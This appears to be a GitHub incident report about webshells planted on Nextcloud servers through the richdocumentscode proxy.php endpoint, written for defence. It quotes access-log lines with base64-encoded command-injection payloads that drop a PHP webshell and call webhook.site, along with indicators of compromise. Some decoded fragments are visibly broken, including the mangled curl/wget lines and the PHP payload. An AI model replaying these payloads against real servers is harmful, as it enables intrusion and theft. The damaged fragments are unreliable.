We're hosting a bunch of Nextcloud servers with richdocumentscode aka Collabora Online - Built-in CODE Server. Since yesterday we're experiencing succesful hacks on our systems via richdocumentscode:
Server: 139.28.18.122 - - [10/Sep/2026:19:51:52 +0200] "GET /x$(echo${IFS}ZWNobyBQRDl3YUhBZ0pHTTlKRjlIUlZSYkoyTW5YVDgvSjJsa0p6c2daV05vYnlCemFHVnNiRjlsZUdWaktDUmpMaWNnTWo0bU1TY3BPdz09fGJhc2U2NCAtZD5zaHJmNDY0NS5waHA7Y3VybCAtc2ttIDIwIGh0dHBzOi8vd2ViaG9vay5zaXRlLz Q1MDYwZWQ0LWRlMGItNDExOS04ZjBkLTJhMjc3NmJiZDQxMy9yZjQ2NDUuJCh1bmFtZSAtYXxiYXNlNjR8dHIgLWQgJ1xuJ3x0ciArLyAtX3x0ciAtZCA9KXx8d2dldCAtcSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1UIDIwIC1PLSBodHRwczovL3dlYmhvb2suc2l0ZS80NTA2MGVkNC1kZTBiLTQxMTktOGYwZC0yYTI3NzZiYmQ0MT MvcmY0NjQ1LiQodW5hbWUgLWF8YmFzZTY0fHRyIC1kICdcbid8dHIgKy8gLV98dHIgLWQgPSl8fGN1cmwgLW0gMjAgaHR0cDovL3dlYmhvb2suc2l0ZS80NTA2MGVkNC1kZTBiLTQxMTktOGYwZC0yYTI3NzZiYmQ0MTMvcmY0NjQ1LnBpbmcgIzA=|base64${IFS}-d|sh)x/../apps/richdocumentscode/proxy.php?status HT TP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/126.0"
Server: 139.28.18.122 - - [10/Sep/2026:19:51:52 +0200] "GET /x$(echo${IFS}ZWNobyBQRDl3YUhBZ0pHTTlKRjlIUlZSYkoyTW5YVDgvSjJsa0p6c2daV05vYnlCemFHVnNiRjlsZUdWaktDUmpMaWNnTWo0bU1TY3BPdz09fGJhc2U2NCAtZD5zaHJmNDY0NS5waHA7Y3VybCAtc2ttIDIwIGh0dHBzOi8vd2ViaG9vay5zaXRlLz Q1MDYwZWQ0LWRlMGItNDExOS04ZjBkLTJhMjc3NmJiZDQxMy9yZjQ2NDUuJCh1bmFtZSAtYXxiYXNlNjR8dHIgLWQgJ1xuJ3x0ciArLyAtX3x0ciAtZCA9KXx8d2dldCAtcSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1UIDIwIC1PLSBodHRwczovL3dlYmhvb2suc2l0ZS80NTA2MGVkNC1kZTBiLTQxMTktOGYwZC0yYTI3NzZiYmQ0MT MvcmY0NjQ1LiQodW5hbWUgLWF8YmFzZTY0fHRyIC1kICdcbid8dHIgKy8gLV98dHIgLWQgPSl8fGN1cmwgLW0gMjAgaHR0cDovL3dlYmhvb2suc2l0ZS80NTA2MGVkNC1kZTBiLTQxMTktOGYwZC0yYTI3NzZiYmQ0MTMvcmY0NjQ1LnBpbmcgIzA=|base64${IFS}-d|sh)x/../apps/richdocumentscode/proxy.php?status HT TP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/126.0"
Server: 139.28.18.122 - - [11/Sep/2026:09:56:21 +0200] "GET /x$(x=$(echo${IFS}ZWNobyBQRDl3YUhBZ0pHTTlKRjlIUlZSYkoyTW5YVDgvSjJsa0p6c2daV05vYnlCemFHVnNiRjlsZUdWaktDUmpMaWNnTWo0bU1TY3BPdz09fGJhc2U2NCAtZD5zaHhhMzVkMC5waHA7Y3VybCAtc2 ttIDIwIGh0dHBzOi8vd2ViaG9vay5zaXRlLzc3NGNmNWUxLWI1YTQtNDE3NC1hMWFkLTAyNDE4NjEwMjlhMi94YTM1ZDAuJCh1bmFtZSAtYXxiYXNlNjR8dHIgLWQgJ1xuJ3x0ciArLyAtX3x0ciAtZCA9KXx8d2dldCAtcSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1UIDIwIC1PLSBodHRwczovL3dlYmhvb2suc2l0ZS83NzRjZjVlMS 1iNWE0LTQxNzQtYTFhZC0wMjQxODYxMDI5YTIveGEzNWQwLiQodW5hbWUgLWF8YmFzZTY0fHRyIC1kICdcbid8dHIgKy8gLV98dHIgLWQgPSkgIzA=|base64${IFS}-d|sh))x/%2e%2e/apps/richdocumentscode/proxy.php?status HTTP/1.1" 200 32 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrom e/126.0"
Server: 139.28.18.122 - - [11/Sep/2026:09:56:21 +0200] "GET /x$(x=$(echo${IFS}ZWNobyBQRDl3YUhBZ0pHTTlKRjlIUlZSYkoyTW5YVDgvSjJsa0p6c2daV05vYnlCemFHVnNiRjlsZUdWaktDUmpMaWNnTWo0bU1TY3BPdz09fGJhc2U2NCAtZD5zaHhhMzVkMC5waHA7Y3VybCAtc2 ttIDIwIGh0dHBzOi8vd2ViaG9vay5zaXRlLzc3NGNmNWUxLWI1YTQtNDE3NC1hMWFkLTAyNDE4NjEwMjlhMi94YTM1ZDAuJCh1bmFtZSAtYXxiYXNlNjR8dHIgLWQgJ1xuJ3x0ciArLyAtX3x0ciAtZCA9KXx8d2dldCAtcSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1UIDIwIC1PLSBodHRwczovL3dlYmhvb2suc2l0ZS83NzRjZjVlMS 1iNWE0LTQxNzQtYTFhZC0wMjQxODYxMDI5YTIveGEzNWQwLiQodW5hbWUgLWF8YmFzZTY0fHRyIC1kICdcbid8dHIgKy8gLV98dHIgLWQgPSkgIzA=|base64${IFS}-d|sh))x/%2e%2e/apps/richdocumentscode/proxy.php?status HTTP/1.1" 200 32 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrom e/126.0"
After Base64 decoding, the payloads attempt to perform the following actions:
Representative behavior; names and callback IDs differ by request echo '' | base64 -d > shrf4645.php
curl -skm 20 " /rf4645.$(uname -a | base64||| wget -q --no-check-certificate -T 20 -O -" /||curl -m 20 " /rf4645.ping"
The attacker was able to create php-files which are web-shells: shrf4645.php shxa35d0.php
The attack explicitly targets: /apps/richdocumentscode/proxy.php?status
On all the servers the installed apps are:
richdocumentscode: 26.4.302 (installed 26.4.302)
The observed requests included the following characteristics:
Target endpoint: /apps/richdocumentscode/proxy.php?status
Encoded path traversal: %2e%2e
Shell command substitution: $(...)
Whitespace-obfuscation with ${IFS}
Base64-decoded shell payloads executed through sh
Repeated checks of generated PHP webshell paths using ?c=id
Observed webshell filenames followed a pattern similar to:
/apps/richdocumentscode/shx*.php
The recovered PHP payload was: &1'); This provides arbitrary command execution in the context of the web server/PHP process.
Multiple independent Nextcloud installations showed the same attack pattern and webshell family.
On one affected system, the webshell was actively used after becoming reachable. The attacker executed discovery commands targeting high-value credential and cryptocurrency-related artifacts, including:
The reviewed HTTP requests did not show explicit commands for archiving, uploading, or exfiltrating files. However, a successful webshell running as the web server account can read or modify everything accessible to that account. Therefore, the confidentiality and integrity of application data and secrets available to the web server account must be treated as potentially affected.
Indicators of compromise
Network and HTTP indicators
" &1');" Observed filenames included examples such as:
shxa35d0.php shx5cf91.php shxd33ce.php shxf4645.php
One recovered sample had the following SHA-256 hash: 4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562 We have disabled the app for the time till it's fixed.
caolanm closed this as completed on Oct 14, 2026
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
